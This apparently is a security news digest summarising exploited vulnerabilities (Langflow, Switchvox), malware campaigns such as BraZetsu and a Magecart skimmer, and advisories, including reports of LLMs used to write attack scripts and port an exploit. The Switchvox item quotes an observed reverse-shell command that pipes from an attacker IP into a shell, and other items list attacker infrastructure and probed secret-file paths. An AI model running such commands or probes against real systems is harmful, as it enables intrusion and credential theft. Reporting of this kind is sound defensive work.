🚨 ACTIVE EXPLOITATION
Attackers Exploit Critical Unauthenticated RCE in Langflow
CVE-2026-0768
Attackers are exploiting a critical unauthenticated RCE in Langflow.- Internet-exposed Langflow installations are affected, particularly the custom-component editor.
- CVE-2026-0768 enables unauthenticated remote execution of arbitrary Python code as root.
- Attackers abused insufficient validation in the code-execution path to run supplied Python.
- More than 50 detections queried environment variables, Langflow secrets, API keys, SSH access, and Bash history.
- The flaw has a CVSS score of 9.8 and was added to VulnCheck’s exploited-vulnerability catalog on August 29.
Active exploitation targets Sangoma Switchvox CVE-2026-9586
CVE-2026-9586
Attackers are actively exploiting a critical Switchvox SQL injection flaw for remote code execution.- Sangoma Switchvox enterprise VoIP telephony systems are affected.
- CVE-2026-9586 is an unauthenticated SQL injection leading to remote code execution.
- Attackers exploit the unauthenticated /pa HTTP endpoint through crafted XML containing a malicious PhoneIP value.
- The payload is concatenated into a PostgreSQL superuser query; observed commands include nc 176.65.148.184 39323 | sh.
- Sangoma patched the vulnerability in Switchvox 8.4.0.2; exploitation evidence may appear in /var/log/switchvox/db-quirks.log.
🕵️ RESEARCH & DEEP DIVES
BREEZE COMET Uses LLMs in Attacks on Brazilian Financial Institutions
BREEZE COMET used LLMs to accelerate intrusions targeting Brazilian financial institutions.- Targets Brazilian banks, fintechs, payment processors, retailers and cryptocurrency exchanges.
- Targets Pix, STR and Boleto payment infrastructure, along with credentials and mTLS certificates.
- Uses password spraying, fake IT-support calls and compromised Brazilian government websites for initial access.
- Delivers XWorm, infostealers and custom backdoors while using AnyDesk, Impacket, ADRecon and PowerShell.
- Uses LLMs to create reconnaissance, credential-testing, malware-deployment and data-theft scripts.
Sources 📄 Source: cloud.google.com · 📎 Coverage: matricedigitale.it · 👁 via @metacurity@infosec.exchangeBraZetsu malware turns corporate compromises into AI-ranked access sales
Group-IB has identified BraZetsu, a malware framework that helps brokers sell compromised corporate access.- Targets organizations in Brazil, Iberia and Latin America across finance, ERP, industrial, healthcare, government and IT sectors.
- BraZetsu is a Python-based Windows framework linked with high confidence to Brazilian actor Exilware.
- It inventories systems, searches for CNAB financial files and digital certificates, and extracts Chromium browser history.
- Operators can capture screenshots, run remote shell commands and deploy secondary payloads through the Infect Marketplace.
- The malware uses persistent WebSocket C2 and Pastebin-based encrypted configuration retrieval; observed infrastructure includes c2[.]installscenter[.]com, infect[.]online and 38[.]242[.]246[.]176.
Forescout Ports WAGO PLC Exploit With Claude AI
Forescout researchers used Claude AI to port an RCE exploit between WAGO PLC models.- The experiment targeted WAGO 750-831 PLCs using an exploit for the WAGO 750-852.
- The original exploit abused CVE-2021-31886, a pre-authentication Nucleus FTP buffer overflow.
- Claude Code used terminal access, Ghidra, firmware files, and a physical PLC to probe and analyze the target.
- Researchers achieved two working payloads after more than eight hours and over $500 in API costs.
- A later payload wrote to flash memory and permanently bricked the PLC.
Attackers Spoof AI Crawlers to Scan Websites for Exposed Secrets
Attackers spoofed AI crawler identities to scan websites for exposed credentials and configuration files.- Internet-facing websites and misconfigured servers were targeted.
- Scanners probed /.env, /.env.production, /.env.bak, /.aws/credentials, private keys and password stores.
- Attackers forged OpenAI, Anthropic, Google, Perplexity, Amazon and other crawler User-Agent headers.
- Six spoofed crawler identities used one HTTP fingerprint across 824 IP addresses spanning 795 /24 networks from July 28 to August 23, 2026.
- The scanners skipped /robots.txt, and GreyNoise could not confirm whether any secrets were retrieved.
Sources 📄 Source: greynoise.io · 📎 Coverage: helpnetsecurity.com · 👁 via Cyber Security News, cryptika.com (discovered)BraZetsu Malware Turns Corporate Access Into Underground Marketplace Listings
Group-IB identified BraZetsu as an access-broker malware framework linked to Exilware.- Organizations in Brazil, Iberia and Latin America, especially corporate, financial, industrial, healthcare and government sectors, are targeted.
- BraZetsu profiles Windows systems and searches for CNAB, .240, .400, .pfx and .p12 files, enterprise software and browser histories.
- At least five versions have appeared since February 2026, evolving from remote access into reconnaissance, screenshots, shell commands and victim classification.
- The Python-based malware uses modular Windows executables, persistent WebSocket C2 and Pastebin-hosted Base64/XOR-obfuscated configuration.
- Associated infrastructure includes c2[.]installscenter[.]com, infectonline[.]store, infect[.]online and 38[.]242[.]246[.]176; observed loaders include wifi_driver.exe and msedge04.exe.
EtherHiding Magecart Campaign Backdoors 40+ E-Commerce Websites
A Magecart campaign has backdoored more than 40 e-commerce websites using EtherHiding.- WooCommerce, PrestaShop, Magento and WordPress stores are affected.
- The campaign steals shoppers’ payment card data during checkout.
- A server-side loader disguised as Google Tag Manager code queries Sepolia smart contracts through 0xrpc.io.
- The contracts return disposable skimmer domains, including nightstalkerwatch[.]top and bloodthornkeep[.]top; the skimmer uses obfuscator.io packing.
Lazarus-Linked Wallets Sell Over $30 Million in Bitcoin on Hyperliquid
Lazarus-linked wallets sold more than $30 million in Bitcoin through Hyperliquid over three weeks.- North Korea-linked Lazarus Group wallets used the Hyperliquid decentralized derivatives platform.
- The wallets sold more than $30 million in Bitcoin over three weeks.
- Proceeds were converted into Ether and Solana before moving to Kraken, LBank and KuCoin.
- Arkham blockchain analysis traced transfers from addresses first identified by ZachXBT in 2024.
📋 ADVISORIES
Hugging Face Transformers writes remote Python code before consent checks
Hugging Face Transformers can write remote Python files to disk before consent checks.- Hugging Face Transformers versions 4.49.0 through 5.8.1 are affected.
- Malicious model repositories can supply attacker-controlled custom_generate/generate.py files.
- load_custom_generate() fetches and caches the module before evaluating trust_remote_code.
- Files are written to ~/.cache/huggingface/modules even when users decline the trust prompt.
- Cached attacker files may later be served during trusted model loads, potentially enabling code execution.
UK NCSC Warns of Increased Targeting of Operational Technology
The UK NCSC has warned that attackers are increasingly targeting operational technology.- The warning applies to organizations operating OT, ICS, IoT, CPS, and critical-infrastructure environments.
- The NCSC issued the advisory on August 27, 2026, citing increased targeting of OT systems.
- The provided material does not identify a specific threat actor, attack vector, affected version, or IOC.
🔓 CVEs & KEV
CVE-2026-18550 — CVSS 9.8 — Nokri - Job Board WordPress Theme through 1.6.6 - Unauthenticated Privilege Escala...
CVE-2026-84200 — CVSS 9.4 — Kyverno before v1.13.0 Policy Bypass via Multiple ExceptionsKyverno versions ...
CVE-2026-84189 — CVSS 9.2 — LibreNMS before 26.7.0 Stored